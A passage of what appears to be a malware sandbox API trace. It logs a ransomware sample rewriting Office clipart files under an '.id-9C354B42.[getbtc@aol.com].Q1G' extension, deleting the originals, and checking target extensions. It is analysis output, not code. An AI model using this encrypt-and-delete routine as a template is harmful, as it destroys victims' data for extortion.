dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.307] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.307] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.308] GetLastError () returned 0x0 [0254.308] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5754, lpOverlapped=0x0) returned 1 [0254.310] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5760, lpOverlapped=0x0) returned 1 [0254.311] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.311] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.311] SetEndOfFile (hFile=0x3e0) returned 1 [0254.311] CloseHandle (hObject=0x3e0) returned 1 [0254.311] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.311] SetEndOfFile (hFile=0x3dc) returned 1 [0254.320] CloseHandle (hObject=0x3dc) returned 1 [0254.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.322] lstrlenW (lpString=".doc") returned 4 [0254.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString=".docx") returned 5 [0254.322] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0254.322] lstrlenW (lpString=".pdf") returned 4 [0254.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString=".xls") returned 4 [0254.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.322] lstrlenW (lpString=".xlsx") returned 5 [0254.322] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0254.322] lstrlenW (lpString=".ppt") returned 4 [0254.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.322] lstrlenW (lpString=".zip") returned 4 [0254.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.322] lstrlenW (lpString=".rar") returned 4 [0254.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString=".bz2") returned 4 [0254.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString=".7z") returned 3 [0254.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.322] lstrlenW (lpString=".dbf") returned 4 [0254.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.322] lstrlenW (lpString=".1cd") returned 4 [0254.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.322] lstrlenW (lpString=".jpg") returned 4 [0254.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.323] lstrlenW (lpString=".doc") returned 4 [0254.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.323] lstrlenW (lpString=".docx") returned 5 [0254.323] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0254.323] lstrlenW (lpString=".pdf") returned 4 [0254.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.323] lstrlenW (lpString=".xls") returned 4 [0254.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.323] lstrlenW (lpString=".xlsx") returned 5 [0254.323] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0254.323] lstrlenW (lpString=".ppt") returned 4 [0254.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.323] lstrlenW (lpString=".zip") returned 4 [0254.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.323] lstrlenW (lpString=".rar") returned 4 [0254.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.323] lstrlenW (lpString=".bz2") returned 4 [0254.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.323] lstrlenW (lpString=".7z") returned 3 [0254.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.323] lstrlenW (lpString=".dbf") returned 4 [0254.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.323] lstrlenW (lpString=".1cd") returned 4 [0254.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0254.323] lstrlenW (lpString=".jpg") returned 4 [0254.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.323] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.324] lstrlenW (lpString="J0099164.WMF") returned 12 [0254.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.613] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=21946) returned 1 [0254.613] CloseHandle (hObject=0x3dc) returned 1 [0254.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 0x20 [0254.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.613] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.613] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.615] GetLastError () returned 0x0 [0254.615] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x55ba, lpOverlapped=0x0) returned 1 [0254.616] WriteFile (in: hFile=0x3d4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x55c0, lpOverlapped=0x0) returned 1 [0254.617] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.618] WriteFile (in: hFile=0x3d4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.618] SetEndOfFile (hFile=0x3d4) returned 1 [0254.618] CloseHandle (hObject=0x3d4) returned 1 [0254.618] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.618] SetEndOfFile (hFile=0x3dc) returned 1 [0254.620] CloseHandle (hObject=0x3dc) returned 1 [0254.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0254.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString=".doc") returned 4 [0254.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString=".docx") returned 5 [0254.622] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0254.622] lstrlenW (lpString=".pdf") returned 4 [0254.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString=".xls") returned 4 [0254.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.622] lstrlenW (lpString=".xlsx") returned 5 [0254.622] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0254.622] lstrlenW (lpString=".ppt") returned 4 [0254.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString=".zip") returned 4 [0254.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.622] lstrlenW (lpString=".rar") returned 4 [0254.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString=".bz2") returned 4 [0254.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString=".7z") returned 3 [0254.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString=".dbf") returned 4 [0254.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString=".1cd") returned 4 [0254.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString=".jpg") returned 4 [0254.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.622] lstrlenW (lpString=".doc") returned 4 [0254.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.622] lstrlenW (lpString=".docx") returned 5 [0254.623] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0254.623] lstrlenW (lpString=".pdf") returned 4 [0254.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.623] lstrlenW (lpString=".xls") returned 4 [0254.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.623] lstrlenW (lpString=".xlsx") returned 5 [0254.623] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0254.623] lstrlenW (lpString=".ppt") returned 4 [0254.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.623] lstrlenW (lpString=".zip") returned 4 [0254.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.623] lstrlenW (lpString=".rar") returned 4 [0254.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.623] lstrlenW (lpString=".bz2") returned 4 [0254.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.623] lstrlenW (lpString=".7z") returned 3 [0254.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.623] lstrlenW (lpString=".dbf") returned 4 [0254.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.623] lstrlenW (lpString=".1cd") returned 4 [0254.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF") returned 63 [0254.623] lstrlenW (lpString=".jpg") returned 4 [0254.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.623] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.623] lstrlenW (lpString="J0099171.WMF") returned 12 [0254.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.624] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8754) returned 1 [0254.624] CloseHandle (hObject=0x3dc) returned 1 [0254.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0254.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.624] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.624] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.625] GetLastError () returned 0x0 [0254.625] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2232, lpOverlapped=0x0) returned 1 [0254.626] WriteFile (in: hFile=0x3d4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2240, lpOverlapped=0x0) returned 1 [0254.627] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.627] WriteFile (in: hFile=0x3d4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.628] SetEndOfFile (hFile=0x3d4) returned 1 [0254.628] CloseHandle (hObject=0x3d4) returned 1 [0254.628] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.628] SetEndOfFile (hFile=0x3dc) returned 1 [0254.630] CloseHandle (hObject=0x3dc) returned 1 [0254.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.631] lstrlenW (lpString=".doc") returned 4 [0254.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.631] lstrlenW (lpString=".docx") returned 5 [0254.631] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0254.631] lstrlenW (lpString=".pdf") returned 4 [0254.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.631] lstrlenW (lpString=".xls") returned 4 [0254.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.631] lstrlenW (lpString=".xlsx") returned 5 [0254.631] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0254.631] lstrlenW (lpString=".ppt") returned 4 [0254.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.631] lstrlenW (lpString=".zip") returned 4 [0254.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.631] lstrlenW (lpString=".rar") returned 4 [0254.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.631] lstrlenW (lpString=".bz2") returned 4 [0254.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.631] lstrlenW (lpString=".7z") returned 3 [0254.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.631] lstrlenW (lpString=".dbf") returned 4 [0254.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString=".1cd") returned 4 [0254.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString=".jpg") returned 4 [0254.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString=".doc") returned 4 [0254.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString=".docx") returned 5 [0254.632] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0254.632] lstrlenW (lpString=".pdf") returned 4 [0254.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString=".xls") returned 4 [0254.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.632] lstrlenW (lpString=".xlsx") returned 5 [0254.632] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0254.632] lstrlenW (lpString=".ppt") returned 4 [0254.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString=".zip") returned 4 [0254.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.632] lstrlenW (lpString=".rar") returned 4 [0254.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString=".bz2") returned 4 [0254.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString=".7z") returned 3 [0254.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString=".dbf") returned 4 [0254.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString=".1cd") returned 4 [0254.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0254.632] lstrlenW (lpString=".jpg") returned 4 [0254.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.633] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.633] lstrlenW (lpString="J0099172.WMF") returned 12 [0254.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.634] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=58258) returned 1 [0254.634] CloseHandle (hObject=0x3d4) returned 1 [0254.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0254.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0254.634] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.634] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft 